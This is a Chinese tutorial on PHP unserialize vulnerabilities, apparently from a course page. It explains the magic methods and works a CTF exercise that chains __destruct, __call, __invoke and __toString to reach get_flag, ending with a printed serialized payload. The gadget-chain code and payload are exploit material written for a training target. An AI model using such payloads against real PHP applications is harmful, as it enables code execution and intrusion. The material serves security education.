PHP反序列化漏洞分析与实操讲解
简介
- 序列化(
serialize()
):将PHP对象
压缩并按照一定格式转换成宇符串
过程 - 反序列化(
unserialize()
):从宇符串转换回PHP对象
的过程 - 目的:为了
方便PHP对象
的传输
和存储
联想到电脑(diy)的栗子
- PS:主要用于
对象
的持久化
(将对象
保存到磁盘上
以便以后读取
)或在不同系统
之间传输对象
。
序列化实例
反序列化攻击概述
unserialize
接收的参数用户可控
,传入构造的字符串
,实现攻击- 只序列化
属性
、不序列化方法
属性名、属性值、访问控制权限
都存在,但是方法
消失
- 要寻找合适的能被我们
控制
的属性
,利用本身存在
的方法
魔术方法
-
以_ _开头
-
(1)
construct()
:当对象创建时会自动调用(但在unserialize()
时是不会自动调用的)。 -
(2)
wakeup()
:unserialize()
时会自动调用. 当对象所包含的属性数<->不一致 -
(3)
destruct()
:当对象被销毁时会自动调用。 -
(4)
toString()
: 当反序列化后的对象被输出在模板中的时候(转换成`字符串的时候)自动调用__construct()
__destruct()
__sleep()
__wakeup()
__toString()
__invoke()
__call()
反序列化
中常用的魔术方法
__wakeup() //使用 unserialize 时触发
__sleep() //使用 serialize 时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callstatic () //在静态上下文中调用不可访问的方法时触发
__ construct()//当对象被创建(new)时会自动调用
__get() //用于从不可访问的属性读取数据
__set () //用于将数据写入不可访问的属性
__isset () //在不可访问的属性上调用 isset ()或 empty() 时触发
__unset () //在不可访问的属性上使用 unset () 时触发
__tostring() //把类当作字符串使用时触发
__invoke () //当脚本尝试将对象调用为函数时触发
反序列化攻击样例
-
Aurora
对象的$test
变量为一个Evil
对象 -
Evil对象
中的$test2
变量为我们想要执行的系统命令 -
Aurora
对象销毁时,调用destruct
魔法函数,进而调用Evil
的action
函数,进而执行$test2
中我们想要执行的系统命令 -
生成
Payload
Review
实战分析
- 靶机环境
CTF30小时训练营 实践题目
class allstart
{
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func1();
}
public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func2();
}
public function test1()
{
$this->var1->test2();
}
}
class func2
{
//step3: func2->__call()->在`对象上下⽂`中调⽤不可访问的⽅法时触发
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func3();
}
public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
//step3:func3->__invoke()->concat string
public $var1;
public $var2;
public function __construct()
{
$this->var1 = new func4();
}
// 尝试将对象`调⽤为函数时`触发
public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
// step2:func4->__tostring()->get_flag()
public $str1;
public $str2;
public function __construct()
{
$this->str1 = new toget();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{
// step1: get_flag()
public function get_flag()
{
##echo "flag{***}";
}
}
$a=new allstart();
echo serialize($a);
answerO:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}
- step
- 1.查看代码逻辑;
- 2.根据代码逻辑构造
payload
;